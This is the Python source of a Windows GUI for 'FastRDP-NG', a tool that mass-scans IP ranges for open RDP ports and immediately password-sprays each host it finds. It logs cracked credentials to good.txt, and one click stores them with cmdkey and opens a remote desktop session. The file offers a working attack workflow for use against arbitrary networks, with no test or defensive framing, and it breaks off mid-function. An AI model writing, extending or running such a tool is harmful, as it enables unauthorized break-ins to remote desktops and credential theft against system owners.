""" FastRDP-NG GUI - Sleek Windows interface for RDP scanning & password spraying. Dark-themed, real-time progress, live host table, instant hit logging. Streaming design: scan finds hosts → spray starts immediately (concurrent). """ import tkinter as tk from tkinter import ttk, scrolledtext, filedialog import threading import asyncio import time import os import random import sys import subprocess from typing import Set, Tuple, List from dataclasses import dataclass from scanner import scan_ips, RDP_PORTS from ip_utils import parse_ranges_file, count_ips from bruteforce import spray_single_host, TOP50_PASSWORDS, TOP_USERNAMES BASE_DIR = os.path.dirname(os.path.abspath(__file__)) RESULTS_DIR = os.path.join(BASE_DIR, "results") WORDLISTS_DIR = os.path.join(BASE_DIR, "wordlists") # ── Terminal ANSI helpers ──────────────────────────────── _TERM = hasattr(sys.stdout, 'isatty') and sys.stdout.isatty() if _TERM: try: import ctypes kernel32 = ctypes.windll.kernel32 kernel32.SetConsoleMode(kernel32.GetStdHandle(-11), 7) except Exception: pass def _c(code, text): return f"{code}{text}\033[0m" if _TERM else text # ── Color Palette ────────────────────────────────────────── class Colors: BG_DARK = "#1a1a2e" BG_MID = "#16213e" BG_LIGHT = "#0f3460" ACCENT = "#00d2ff" ACCENT2 = "#e94560" GREEN = "#4ec94e" RED = "#f44747" ORANGE = "#ffa500" YELLOW = "#dcdcaa" TEXT = "#e0e0e0" TEXT_DIM = "#888888" HIT_BG = "#1a3a1a" INPUT_BG = "#0d1117" @dataclass class ScanStats: """Live scanning statistics.""" checked: int = 0 total: int = 0 live: int = 0 hits: int = 0 rate: float = 0.0 start_time: float = 0.0 phase: str = "idle" # idle | scanning | spraying | done class FastRDPGUI: """Polished Windows GUI for FastRDP-NG.""" def __init__(self): self.root = tk.Tk() self.root.title("FastRDP-NG v2.0 \u2014 Next Gen RDP Scanner") self.root.geometry("1100x820") self.root.minsize(950, 700) self.root.configure(bg=Colors.BG_DARK) # State self.scanning = False self.stats = ScanStats() self.live_hosts: Set[Tuple[str, int]] = set() self.hits: List[Tuple[str, int, str, str]] = [] self.host_items: dict = {} # (ip,port) -> treeview item id self.ranges_file = os.path.join(WORDLISTS_DIR, "ranges.txt") self.users_file = os.path.join(WORDLISTS_DIR, "users.txt") self.passwords_file = os.path.join(WORDLISTS_DIR, "passwords.txt") self._metric_labels: dict = {} self._spray_queue: asyncio.Queue = None os.makedirs(RESULTS_DIR, exist_ok=True) os.makedirs(WORDLISTS_DIR, exist_ok=True) self._setup_styles() self._build_ui() self._update_stats_display() self.root.protocol("WM_DELETE_WINDOW", self._on_close) def _setup_styles(self): style = ttk.Style() style.theme_use("clam") style.configure(".", background=Colors.BG_DARK, foreground=Colors.TEXT, fieldbackground=Colors.INPUT_BG, font=("Segoe UI", 10)) style.configure("TLabelframe", background=Colors.BG_MID, foreground=Colors.TEXT, bordercolor=Colors.ACCENT, lightcolor=Colors.ACCENT, darkcolor=Colors.BG_MID) style.configure("TLabelframe.Label", background=Colors.BG_MID, foreground=Colors.ACCENT, font=("Segoe UI", 10, "bold")) style.configure("TButton", background=Colors.BG_LIGHT, foreground=Colors.TEXT, bordercolor=Colors.ACCENT, focuscolor="none", font=("Segoe UI", 10, "bold")) style.map("TButton", background=[("active", Colors.ACCENT), ("disabled", Colors.BG_MID)], foreground=[("disabled", Colors.TEXT_DIM)]) style.configure("Accent.TButton", background=Colors.ACCENT, foreground=Colors.BG_DARK) style.map("Accent.TButton", background=[("active", "#00e5ff"), ("disabled", Colors.BG_MID)]) style.configure("Danger.TButton", background=Colors.ACCENT2, foreground="white") style.map("Danger.TButton", background=[("active", "#ff6b81"), ("disabled", Colors.BG_MID)]) style.configure("Connect.TButton", background=Colors.GREEN, foreground=Colors.BG_DARK) style.map("Connect.TButton", background=[("active", "#5ddc5d"), ("disabled", Colors.BG_MID)]) style.configure("TEntry", fieldbackground=Colors.INPUT_BG, foreground=Colors.TEXT, bordercolor=Colors.BG_LIGHT) style.configure("Horizontal.TScale", background=Colors.BG_DARK, troughcolor=Colors.BG_MID, slidercolor=Colors.ACCENT) style.configure("TCheckbutton", background=Colors.BG_DARK, foreground=Colors.TEXT) style.map("TCheckbutton", background=[("active", Colors.BG_DARK)]) style.configure("Treeview", background=Colors.INPUT_BG, foreground=Colors.TEXT, fieldbackground=Colors.INPUT_BG, bordercolor=Colors.BG_MID, font=("Consolas", 9)) style.configure("Treeview.Heading", background=Colors.BG_LIGHT, foreground=Colors.ACCENT, font=("Segoe UI", 9, "bold")) style.map("Treeview", background=[("selected", Colors.BG_LIGHT)]) def _build_ui(self): header = tk.Frame(self.root, bg=Colors.BG_MID, height=50) header.pack(fill="x") header.pack_propagate(False) tk.Label(header, text="\u26a1 FastRDP-NG", font=("Segoe UI", 18, "bold"), fg=Colors.ACCENT, bg=Colors.BG_MID).pack(side="left", padx=15) tk.Label(header, text="v2.0 \u2014 Streaming RDP Scanner + Instant Spray", font=("Segoe UI", 9), fg=Colors.TEXT_DIM, bg=Colors.BG_MID).pack(side="left", padx=5, pady=(8, 0)) self.notebook = ttk.Notebook(self.root) self.notebook.pack(fill="both", expand=True, padx=5, pady=5) self.tab_scan = tk.Frame(self.notebook, bg=Colors.BG_DARK) self.notebook.add(self.tab_scan, text=" \U0001f50d Scanner ") self._build_scanner_tab() self.tab_results = tk.Frame(self.notebook, bg=Colors.BG_DARK) self.notebook.add(self.tab_results, text=" \U0001f4ca Results ") self._build_results_tab() self.tab_settings = tk.Frame(self.notebook, bg=Colors.BG_DARK) self.notebook.add(self.tab_settings, text=" \u2699 Settings ") self._build_settings_tab() # ── TAB 1: SCANNER ───────────────────────────────────── def _build_scanner_tab(self): left = tk.Frame(self.tab_scan, bg=Colors.BG_DARK, width=380) left.pack(side="left", fill="y", padx=(0, 5)) left.pack_propagate(False) right = tk.Frame(self.tab_scan, bg=Colors.BG_DARK) right.pack(side="right", fill="both", expand=True) # ── LEFT PANEL ── targets_frame = ttk.LabelFrame(left, text="\U0001f3af Targets", padding=8) targets_frame.pack(fill="x", pady=(0, 5)) ttk.Label(targets_frame, text="Ranges File:", font=("Segoe UI", 9)).grid(row=0, column=0, sticky="w", pady=2) self.ranges_entry = ttk.Entry(targets_frame, width=30) self.ranges_entry.insert(0, self.ranges_file) self.ranges_entry.grid(row=0, column=1, padx=5, pady=2, sticky="ew") btn_row = tk.Frame(targets_frame, bg=Colors.BG_MID) btn_row.grid(row=0, column=2, padx=(0, 0)) ttk.Button(btn_row, text="\U0001f4c2", width=3, command=self._browse_ranges).pack(side="left") ttk.Button(btn_row, text="\u2795", width=3, command=self._quick_add_ip).pack(side="left", padx=(2, 0)) ttk.Label(targets_frame, text="Users File:", font=("Segoe UI", 9)).grid(row=1, column=0, sticky="w", pady=2) self.users_entry = ttk.Entry(targets_frame, width=30) self.users_entry.insert(0, self.users_file) self.users_entry.grid(row=1, column=1, padx=5, pady=2, sticky="ew") ttk.Button(targets_frame, text="\U0001f4c2", width=3, command=lambda: self._browse_file("users")).grid(row=1, column=2) ttk.Label(targets_frame, text="Passwords File:", font=("Segoe UI", 9)).grid(row=2, column=0, sticky="w", pady=2) self.pass_entry = ttk.Entry(targets_frame, width=30) self.pass_entry.insert(0, self.passwords_file) self.pass_entry.grid(row=2, column=1, padx=5, pady=2, sticky="ew") ttk.Button(targets_frame, text="\U0001f4c2", width=3, command=lambda: self._browse_file("passwords")).grid(row=2, column=2) targets_frame.columnconfigure(1, weight=1) # -- Speed / Performance -- perf_frame = ttk.LabelFrame(left, text="\u26a1 Performance", padding=8) perf_frame.pack(fill="x", pady=(0, 5)) ttk.Label(perf_frame, text="Concurrent Connections:", font=("Segoe UI", 9)).grid(row=0, column=0, sticky="w") self.speed_var = tk.IntVar(value=5000) speed_frame = tk.Frame(perf_frame, bg=Colors.BG_MID) speed_frame.grid(row=0, column=1, padx=5, sticky="ew") speed_scale = ttk.Scale(speed_frame, from_=500, to=25000, variable=self.speed_var, orient="horizontal", length=180) speed_scale.pack(side="left", fill="x", expand=True) self.speed_label = tk.Label(speed_frame, text="5,000", fg=Colors.ACCENT, bg=Colors.BG_MID, font=("Consolas", 9, "bold"), width=6) self.speed_label.pack(side="left", padx=(5, 0)) speed_scale.configure(command=lambda v: self.speed_label.config( text=f"{int(float(v)):,}")) ttk.Label(perf_frame, text="Connect Timeout (s):", font=("Segoe UI", 9)).grid(row=1, column=0, sticky="w", pady=(5, 0)) self.timeout_var = tk.DoubleVar(value=2.0) timeout_spin = ttk.Spinbox(perf_frame, from_=0.5, to=10.0, increment=0.5, textvariable=self.timeout_var, width=8) timeout_spin.grid(row=1, column=1, padx=5, pady=(5, 0), sticky="w") ttk.Label(perf_frame, text="Scan Ports:", font=("Segoe UI", 9)).grid(row=2, column=0, sticky="w", pady=(5, 0)) ports_frame = tk.Frame(perf_frame, bg=Colors.BG_MID) ports_frame.grid(row=2, column=1, padx=5, pady=(5, 0), sticky="w") self.port_vars = {3389: tk.BooleanVar(value=True), 3390: tk.BooleanVar(value=True), 3391: tk.BooleanVar(value=True)} for i, (port, var) in enumerate(self.port_vars.items()): tk.Checkbutton(ports_frame, text=str(port), variable=var, fg=Colors.TEXT, bg=Colors.BG_MID, selectcolor=Colors.BG_DARK, activebackground=Colors.BG_MID, activeforeground=Colors.ACCENT).pack(side="left", padx=2) perf_frame.columnconfigure(1, weight=1) # -- Controls -- ctrl_frame = ttk.LabelFrame(left, text="\u25b6 Controls", padding=8) ctrl_frame.pack(fill="x", pady=(0, 5)) btn_frame = tk.Frame(ctrl_frame, bg=Colors.BG_MID) btn_frame.pack(fill="x") self.start_btn = ttk.Button(btn_frame, text="\u25b6 START SCAN", style="Accent.TButton", command=self._start_scan, width=16) self.start_btn.pack(side="left", padx=(0, 5)) self.stop_btn = ttk.Button(btn_frame, text="\u25a0 STOP", style="Danger.TButton", command=self._stop_scan, state="disabled", width=10) self.stop_btn.pack(side="left", padx=(0, 5)) ttk.Button(btn_frame, text="\U0001f5d1 Clear", width=8, command=self._clear_results).pack(side="left") spray_opts = tk.Frame(ctrl_frame, bg=Colors.BG_MID) spray_opts.pack(fill="x", pady=(8, 0)) self.spray_var = tk.BooleanVar(value=True) tk.Checkbutton(spray_opts, text="\U0001f511 Instant spray (as hosts found)", variable=self.spray_var, fg=Colors.TEXT, bg=Colors.BG_MID, selectcolor=Colors.BG_DARK, activebackground=Colors.BG_MID, activeforeground=Colors.ACCENT, font=("Segoe UI", 9, "bold")).pack(side="left") self.randomize_var = tk.BooleanVar(value=True) tk.Checkbutton(spray_opts, text="\U0001f3b2 Randomize", variable=self.randomize_var, fg=Colors.TEXT_DIM, bg=Colors.BG_MID, selectcolor=Colors.BG_DARK, activebackground=Colors.BG_MID).pack(side="left", padx=(10, 0)) # -- Live Stats Dashboard -- stats_frame = ttk.LabelFrame(left, text="\U0001f4c8 Live Stats", padding=8) stats_frame.pack(fill="x", expand=False) stats_grid = tk.Frame(stats_frame, bg=Colors.BG_MID) stats_grid.pack(fill="x") self._metric_labels = {} self._make_metric(stats_grid, "Checked", "0", 0, 0, Colors.YELLOW) self._make_metric(stats_grid, "Total", "0", 0, 1, Colors.TEXT_DIM) self._make_metric(stats_grid, "Live", "0", 0, 2, Colors.GREEN) self._make_metric(stats_grid, "Hits", "0", 1, 0, Colors.ACCENT2) self._make_metric(stats_grid, "Rate", "0/s", 1, 1, Colors.ACCENT) self._make_metric(stats_grid, "Elapsed", "0s", 1, 2, Colors.ORANGE) for col in range(3): stats_grid.columnconfigure(col, weight=1, uniform="metric") # ── RIGHT PANEL ── hosts_frame = ttk.LabelFrame(right, text="\U0001f310 Live RDP Hosts [double-click to RDP connect]", padding=3) hosts_frame.pack(fill="both", expand=True, pady=(0, 3)) columns = ("ip", "port", "status", "username", "password") self.host_tree = ttk.Treeview(hosts_frame, columns=columns, show="headings", height=6) headings = [("ip", "IP Address", 150), ("port", "Port", 55), ("status", "Status", 140), ("username", "Username", 110), ("password", "Password", 120)] for col, text, width in headings: self.host_tree.heading(col, text=text) self.host_tree.column(col, width=width) # Double-click to RDP connect self.host_tree.bind("", self._on_host_double_click) scroll_y = ttk.Scrollbar(hosts_frame, orient="vertical", command=self.host_tree.yview) self.host_tree.configure(yscrollcommand=scroll_y.set) self.host_tree.pack(side="left", fill="both", expand=True) scroll_y.pack(side="right", fill="y") # RDP Connect button bar rdp_bar = tk.Frame(right, bg=Colors.BG_MID, height=35) rdp_bar.pack(fill="x", pady=(0, 3)) rdp_bar.pack_propagate(False) ttk.Button(rdp_bar, text="\U0001f4bb RDP Connect (selected host)", style="Connect.TButton", command=self._rdp_connect_selected).pack(side="left", padx=5, pady=3) ttk.Button(rdp_bar, text="\U0001f4dd Quick RDP (manual IP)", command=self._quick_rdp_dialog).pack(side="left", padx=5, pady=3) self.rdp_status = tk.Label(rdp_bar, text="Select a host, then click RDP Connect", fg=Colors.TEXT_DIM, bg=Colors.BG_MID, font=("Segoe UI", 8)) self.rdp_status.pack(side="right", padx=10) # -- Event log -- log_frame = ttk.LabelFrame(right, text="\U0001f4dd Event Log", padding=3) log_frame.pack(fill="both", expand=True) self.log_text = scrolledtext.ScrolledText( log_frame, font=("Consolas", 9), height=8, bg="#0d1117", fg="#c9d1d9", insertbackground="white", relief="flat", borderwidth=0 ) self.log_text.pack(fill="both", expand=True) self.log_text.tag_configure("hit", foreground=Colors.GREEN, font=("Consolas", 9, "bold")) self.log_text.tag_configure("info", foreground="#79c0ff") self.log_text.tag_configure("error", foreground=Colors.RED) self.log_text.tag_configure("scan", foreground=Colors.YELLOW) self.log_text.tag_configure("system", foreground=Colors.TEXT_DIM) def _make_metric(self, parent, label, value, row, col, color): frame = tk.Frame(parent, bg=Colors.INPUT_BG, highlightbackground=color, highlightthickness=1, padx=8, pady=5) frame.grid(row=row, column=col, padx=3, pady=3, sticky="nsew") tk.Label(frame, text=label, fg=Colors.TEXT_DIM, bg=Colors.INPUT_BG, font=("Segoe UI", 7)).pack() metric_label = tk.Label(frame, text=value, fg=color, bg=Colors.INPUT_BG, font=("Consolas", 14, "bold")) metric_label.pack() key = label.lower().replace(" ", "_") self._metric_labels[key] = metric_label # ── TAB 2: RESULTS ───────────────────────────────────── def _build_results_tab(self): hit_frame = ttk.LabelFrame(self.tab_results, text="\U0001f4a5 Successful Logins", padding=3) hit_frame.pack(fill="both", expand=True, pady=(0, 3)) columns = ("ip", "port", "username", "password", "timestamp") self.hit_tree = ttk.Treeview(hit_frame, columns=columns, show="headings", height=10) headings = [("ip", "IP Address", 160), ("port", "Port", 60), ("username", "Username", 130), ("password", "Password", 130), ("timestamp", "Found At", 150)] for col, text, width in headings: self.hit_tree.heading(col, text=text) self.hit_tree.column(col, width=width) # Double-click hit to RDP connect self.hit_tree.bind("", self._on_hit_double_click) scroll_y2 = ttk.Scrollbar(hit_frame, orient="vertical", command=self.hit_tree.yview) self.hit_tree.configure(yscrollcommand=scroll_y2.set) self.hit_tree.pack(side="left", fill="both", expand=True) scroll_y2.pack(side="right", fill="y") out_frame = ttk.LabelFrame(self.tab_results, text="\U0001f4c4 good.txt Output", padding=3) out_frame.pack(fill="both", expand=True) btn_row = tk.Frame(out_frame, bg=Colors.BG_MID) btn_row.pack(fill="x", pady=(0, 3)) ttk.Button(btn_row, text="\U0001f504 Refresh", command=self._refresh_good).pack(side="left") ttk.Button(btn_row, text="\U0001f4c2 Open File", command=lambda: os.startfile(os.path.join(RESULTS_DIR, "good.txt")) if hasattr(os, 'startfile') else None).pack(side="left", padx=5) self.good_text = scrolledtext.ScrolledText( out_frame, font=("Consolas", 9), height=8, bg="#0d1117", fg=Colors.GREEN, relief="flat", borderwidth=0 ) self.good_text.pack(fill="both", expand=True) # ── TAB 3: SETTINGS ──────────────────────────────────── def _build_settings_tab(self): editor_frame = ttk.LabelFrame(self.tab_settings, text="\U0001f4dd Wordlist Editor", padding=8) editor_frame.pack(fill="both", expand=True, pady=(0, 5)) nb = ttk.Notebook(editor_frame) nb.pack(fill="both", expand=True) for name, file_key in [("Usernames", "users"), ("Passwords", "passwords"), ("Ranges", "ranges")]: tab = tk.Frame(nb, bg=Colors.INPUT_BG) nb.add(tab, text=f" {name} ") text_widget = scrolledtext.ScrolledText( tab, font=("Consolas", 9), bg="#0d1117", fg=Colors.TEXT, relief="flat", borderwidth=0 ) text_widget.pack(fill="both", expand=True, padx=2, pady=2) fpath = os.path.join(WORDLISTS_DIR, f"{file_key}.txt") if os.path.exists(fpath): with open(fpath, 'r', errors='ignore') as f: content = f.read() text_widget.insert("1.0", content) setattr(self, f"{file_key}_editor", text_widget) about_frame = ttk.LabelFrame(self.tab_settings, text="\u2139 About", padding=8) about_frame.pack(fill="x") tk.Label(about_frame, text="FastRDP-NG v2.0 \u2014 Next Generation RDP Scanner\n" "Built with Python 3.11 + asyncio\n" "Streaming: scan + spray run CONCURRENTLY\n" "Double-click any host to RDP connect instantly\n" "Top 50 password spraying \u2022 CIDR/range support", fg=Colors.TEXT, bg=Colors.BG_MID, justify="left", font=("Segoe UI", 9)).pack(anchor="w", pady=5) # ── METRICS UPDATE ───────────────────────────────────── def _update_stats_display(self): s = self.stats elapsed = time.time() - s.start_time if s.start_time > 0 else 0 labels_map = { "checked": f"{s.checked:,}", "total": f"{s.total:,}", "live": f"{s.live}", "hits": f"{s.hits}", "rate": f"{s.rate:,.0f}/s" if s.rate > 0 else "0/s", "elapsed": f"{elapsed:.0f}s" if elapsed < 60 else f"{elapsed/60:.1f}m" } for key, text in labels_map.items(): if key in self._metric_labels: lbl = self._metric_labels[key] try: lbl.config(text=text) except tk.TclError: pass self.root.after(500, self._update_stats_display) # ── LOGGING ──────────────────────────────────────────── def _log(self, msg: str, tag: str = "info"): ts = time.strftime("%H:%M:%S") try: self.log_text.insert("end", f"[{ts}] {msg}\n", tag) self.log_text.see("end") except tk.TclError: pass tag_colors = { "hit": "\033[92m", "info": "\033[94m", "error": "\033[91m", "scan": "\033[93m", "system": "\033[90m", } color = tag_colors.get(tag, "\033[97m") try: print(f" {color}[{ts}]\033[0m {msg}", flush=True) except OSError: pass # ── RDP CONNECT FEATURE ──────────────────────────────── def _rdp_connect(self, ip: str, port: int, username: str = "", password: str = ""): """Launch Windows mstsc (or store creds + launch) for given host.""" ts = time.strftime("%H:%M:%S") try: if username and password: # Store credential in Windows Credential Manager for this session # Then mstsc can use it automatically cmdkey_path = r"C:\Windows\System32\cmdkey.exe" if os.path.exists(cmdkey_path): proc = subprocess.run( [cmdkey_path, "/add:TERMSRV", f"/user:{username}", f"/pass:{password}"], capture_output=True, timeout=5, creationflags=subprocess.CREATE_NO_WINDOW ) self._log(f"\U0001f4bb Stored RDP creds for {username}@{ip}", "system") else: self._log("\U0001f4bb cmdkey not found, launching without stored creds", "system") # Launch mstsc mstsc_path = r"C:\Windows\System32\mstsc.exe" if os.path.exists(mstsc_path): rdp_target = f"/v:{ip}:{port}" subprocess.Popen( [mstsc_path, rdp_target], creationflags=subprocess.CREATE_NO_WINDOW ) self._log(f"\U0001f4bb RDP launched: {ip}:{port} [{username}]", "hit") self.rdp_status.config(text=f"RDP: {ip}:{port}") print(_c("\033[92m", f" [{ts}] \U0001f4bb RDP \u2192 {ip}:{port} user={username}")) else: self._log("\u274c mstsc.exe not found! Are you on Windows?", "error") except Exception as e: self._log(f"\u274c RDP error: {e}", "error") def _rdp_connect_selected(self): """RDP connect to the currently selected host in the tree.""" sel = self.host_tree.selection() if not sel: self.rdp_status.config(text="No host selected!") return item = sel[0] vals = self.host_tree.item(item, "values") ip = vals[0] port = int(vals[1]) if vals[1].isdigit() else 3389 user = vals[3] if len(vals) > 3 else "" pwd = vals[4] if len(vals) > 4 else "" self._rdp_connect(ip, port, user, pwd) def _on_host_double_click(self, event): self._rdp_connect_selected() def _on_hit_double_click(self, event): sel = self.hit_tree.selection() if not sel: return item = sel[0] vals = self.hit_tree.item(item, "values") ip = vals[0] port = int(vals[1]) if vals[1].isdigit() else 3389 user = vals[2] if len(vals) > 2 else "" pwd = vals[3] if len(vals) > 3 else "" self._rdp_connect(ip, port, user, pwd) def _quick_rdp_dialog(self): dialog = tk.Toplevel(self.root) dialog.title("Quick RDP Connect") dialog.geometry("380x200") dialog.configure(bg=Colors.BG_DARK) dialog.transient(self.root) dialog.grab_set() tk.Label(dialog, text="Manual RDP Connection", font=("Segoe UI", 12, "bold"), fg=Colors.ACCENT, bg=Colors.BG_DARK).pack(pady=(10, 5)) frame = tk.Frame(dialog, bg=Colors.BG_DARK) frame.pack(pady=5) tk.Label(frame, text="IP:", fg=Colors.TEXT, bg=Colors.BG_DARK, font=("Segoe UI", 9)).grid(row=0, column=0, sticky="w", padx=5) ip_entry = ttk.Entry(frame, width=30) ip_entry.grid(row=0, column=1, padx=5, pady=2) tk.Label(frame, text="Port:", fg=Colors.TEXT, bg=Colors.BG_DARK, font=("Segoe UI", 9)).grid(row=1, column=0, sticky="w", padx=5) port_entry = ttk.Entry(frame, width=10) port_entry.insert(0, "3389") port_entry.grid(row=1, column=1, sticky="w", padx=5, pady=2) tk.Label(frame, text="User:", fg=Colors.TEXT, bg=Colors.BG_DARK, font=("Segoe UI", 9)).grid(row=2, column=0, sticky="w", padx=5) user_entry = ttk.Entry(frame, width=30) user_entry.grid(row=2, column=1, padx=5, pady=2) def connect(): ip = ip_entry.get().strip() port_str = port_entry.get().strip() port = int(port_str) if port_str.isdigit() else 3389 user = user_entry.get().strip() self._rdp_connect(ip, port, user) dialog.destroy() ttk.Button(dialog, text="\U0001f4bb Connect RDP", style="Accent.TButton", command=connect).pack(pady=10) # ── HELPERS ──────────────────────────────────────────── def _browse_ranges(self): path = filedialog.askopenfilename( title="Select ranges file", filetypes=[("Text files", "*.txt"), ("All files", "*.*")] ) if path: self.ranges_entry.delete(0, "end") self.ranges_entry.insert(0, path) def _browse_file(self, which: str): path = filedialog.askopenfilename( title=f"Select {which} file", filetypes=[("Text files", "*.txt"), ("All files", "*.*")] ) if path: entry = getattr(self, f"{which}_entry", None) if entry: entry.delete(0, "end") entry.insert(0, path) def _quick_add_ip(self): dialog = tk.Toplevel(self.root) dialog.title("Quick Add IP") dialog.geometry("350x120") dialog.configure(bg=Colors.BG_DARK) dialog.transient(self.root) dialog.grab_set() tk.Label(dialog, text="Enter IP, range, or CIDR:", fg=Colors.TEXT, bg=Colors.BG_DARK, font=("Segoe UI", 9)).pack(pady=(10, 5)) entry = ttk.Entry(dialog, width=45) entry.pack(pady=5) entry.focus() def add(): ip = entry.get().strip() if ip: rp = self.ranges_entry.get().strip() if rp: try: with open(rp, 'a') as f: f.write(f"\n{ip}") self._log(f"\u2795 Added target: {ip}", "system") except OSError as e: self._log(f"\u274c Failed to write: {e}", "error") else: self._log("\u274c No ranges file path set!", "error") dialog.destroy() ttk.Button(dialog, text="Add Target", command=add).pack() def _refresh_good(self): self.good_text.delete("1.0", "end") good_path = os.path.join(RESULTS_DIR, "good.txt") if os.path.exists(good_path): with open(good_path, 'r') as f: self.good_text.insert("1.0", f.read()) def _update_host_status(self, ip, port, status, user="", pwd=""): """Update the status of a host in the treeview.""" key = (ip, port) if key in self.host_items: item_id = self.host_items[key] self.root.after(0, lambda iid=item_id, s=status, u=user, pw=pwd: self.host_tree.item(iid, values=(ip, str(port), s, u, pw))) else: # New host - insert row self.root.after(0, lambda i=ip, p=port, s=status: self._insert_host(i, p, s)) def _insert_host(self, ip, port, status): item_id = self.host_tree.insert("", "end", values=(ip, str(port), status, "", "")) self.host_items[(ip, port)] = item_id # ── SCAN LOGIC ───────────────────────────────────────── def _start_scan(self): if self.scanning: return self.scanning = True self.start_btn.config(state="disabled") self.stop_btn.config(state="normal") self.stats = ScanStats(start_time=time.time(), phase="scanning") for item in self.host_tree.get_children(): self.host_tree.delete(item) self.host_items.clear() self.live_hosts.clear() self.hits.clear() self._log("\u2501" * 55, "system") self._log("\u25b6\u25b6\u25b6 SCAN STARTED (streaming mode)", "scan") print(_c("\033[96m", " \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510")) print(_c("\033[96m", " \u2502 ") + _c("\033[93m", "FASTRDP-NG v2.0 :: Streaming Scan + Instant Spray") + _c("\033[96m", " \u2502")) print(_c("\033[96m", " \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518")) thread = threading.Thread(target=self._scan_worker, daemon=True) thread.start() def _stop_scan(self): self.scanning = False self._log("\u25a0 STOP signal sent (finishing current batch)", "error") def _clear_results(self): for item in self.host_tree.get_children(): self.host_tree.delete(item) for item in self.hit_tree.get_children(): self.hit_tree.delete(item) self.host_items.clear() self.live_hosts.clear() self.hits.clear() self.log_text.delete("1.0", "end") self.stats = ScanStats() def _load_wordlists(self): """Load usernames and passwords from files (or use defaults).""" usernames = TOP_USERNAMES passwords = TOP50_PASSWORDS uf = self.users_entry.get().strip() if os.path.exists(uf): with open(uf, 'r', errors='ignore') as f: cu = [l.strip() for l in f if l.strip()] if cu: usernames = cu pf = self.pass_entry.get().strip() if os.path.exists(pf): with open(pf, 'r', errors='ignore') as f: cp = [l.strip() for l in f if l.strip()] if cp: passwords = cp return usernames, passwords def _scan_worker(self): """Background thread: scan + spray run CONCURRENTLY.""" try: loop = asyncio.new_event_loop() asyncio.set_event_loop(loop) ranges_path = self.ranges_entry.get().strip() if not os.path.exists(ranges_path): self._log(f"\u274c Ranges file not found: {ranges_path}", "error") self._scan_done() return self._log("\U0001f4ca Counting targets...", "system") total_ips = count_ips(ranges_path) self.stats.total = total_ips ips = list(parse_ranges_file(ranges_path)) if not ips: self._log("\u274c No valid IPs found in ranges file!", "error") self._scan_done() return if self.randomize_var.get(): random.shuffle(ips) active_ports = [p for p, v in self.port_vars.items() if v.get()] if not active_ports: active_ports = [3389] speed = self.speed_var.get() timeout = self.timeout_var.get() self.stats.total = len(ips) * len(active_ports) self._log(f"\U0001f680 Scanning {len(ips):,} IPs x {len(active_ports)} ports " f"({speed:,} concurrent)", "system") print(_c("\033[90m", f" [+] Targets: {len(ips):,} IPs x {len(active_ports)} ports")) print(_c("\033[90m", f" [+] Concurrency: {speed:,} | Timeout: {timeout}s")) print(_c("\033[90m", " [+] Streaming: spray starts IMMEDIATELY on each host found")) print(_c("\033[90m", " [+] " + "\u2500" * 55)) # Load wordlists now (in the background thread, before async loop) usernames, passwords = self._load_wordlists() self._log(f"\U0001f4cb Loaded {len(usernames)} username(s) x {len(passwords)} password(s)", "system") # ── Streaming design ───────────────────────────── # Scan calls live_callback immediately for each live host. # The callback adds the host to a queue, and spray tasks # are created as they arrive — all within the same loop. spray_tasks = [] def on_live_host(ip: str, port: int): """Called IMMEDIATELY from the scanner when a host is found.""" if not self.scanning: return self.live_hosts.add((ip, port)) self.stats.live = len(self.live_hosts) self._log(f"\U0001f310 FOUND: {ip}:{port} \u2014 starting spray...", "scan") self._update_host_status(ip, port, "\U0001f50d RDP Open \u2014 spraying...") print(_c("\033[92m", f" [{time.strftime('%H:%M:%S')}] \u2714 {ip}:{port} \u2014 LIVE, spraying NOW")) if self.spray_var.get(): # Create an asyncio task for this host's spray task = asyncio.create_task( self._spray_host(loop, ip, port, usernames, passwords) ) spray_tasks.append(task) def progress_cb(checked, total, found, rate): if not self.scanning: return self.stats.checked = checked self.stats.live = found self.stats.rate = rate # Run scan — live_callback fires immediately for each live host scan_task = asyncio.create_task( scan_ips( ips, ports=active_ports, max_concurrent=speed, connect_timeout=timeout, banner_check=False, progress_callback=progress_cb, live_callback=on_live_host ) ) # Wait for scan to finish (spray tasks run alongside) loop.run_until_complete(scan_task) # Wait for remaining spray tasks to finish if spray_tasks: self._log(f"\U0001f511 Waiting for {len(spray_tasks)} spray jobs to finish...", "system") loop.run_until_complete(asyncio.gather(*spray_tasks, return_exceptions=True)) self._scan_done() except Exception as e: self._log(f"\u274c ERROR: {e}", "error") import traceback for line in traceback.format_exc().split('\n'): if line.strip(): self._log(f" {line}", "error") self._scan_done() async def _spray_host(self, loop, ip, port, usernames, passwords): """Spray ALL passwords against a single host.""" try: hits = await spray_single_host( ip, port, usernames=usernames, passwords=passwords, max_concurrent=50, timeout=5.0, hit_callback=lambda i, p, u, pw: self._on_hit_found(i, p, u, pw) ) if not hits: self._update_host_status(ip, port, "\u274c No hit") self._log(f"\u274c {ip}:{port} \u2014 no valid creds found", "info") print(_c("\033[93m", f" [{time.strftime('%H:%M:%S')}] \u274c {ip}:{port} \u2014 no hits")) else: self._update_host_status(ip, port, "\u2705 CRACKED!", hits[0][2], hits[0][3]) self.stats.hits = len(self.hits) except Exception as e: self._log(f"Spray error on {ip}:{port}: {e}", "error") def _on_hit_found(self, ip, port, user, pwd): """Called immediately when a credential hit is found.""" ts = time.strftime("%H:%M:%S") self.hits.append((ip, port, user, pwd)) self.stats.hits = len(self.hits) # GUI updates must happen on main thread self.root.after(0, lambda i=ip, p=port, u=user, pw=pwd, t=ts: self.hit_tree.insert("", 0, values=(i, str(p), u, pw, t))) self._write_good(ip, port, user, pwd) def _write_good(self, ip: str, port: 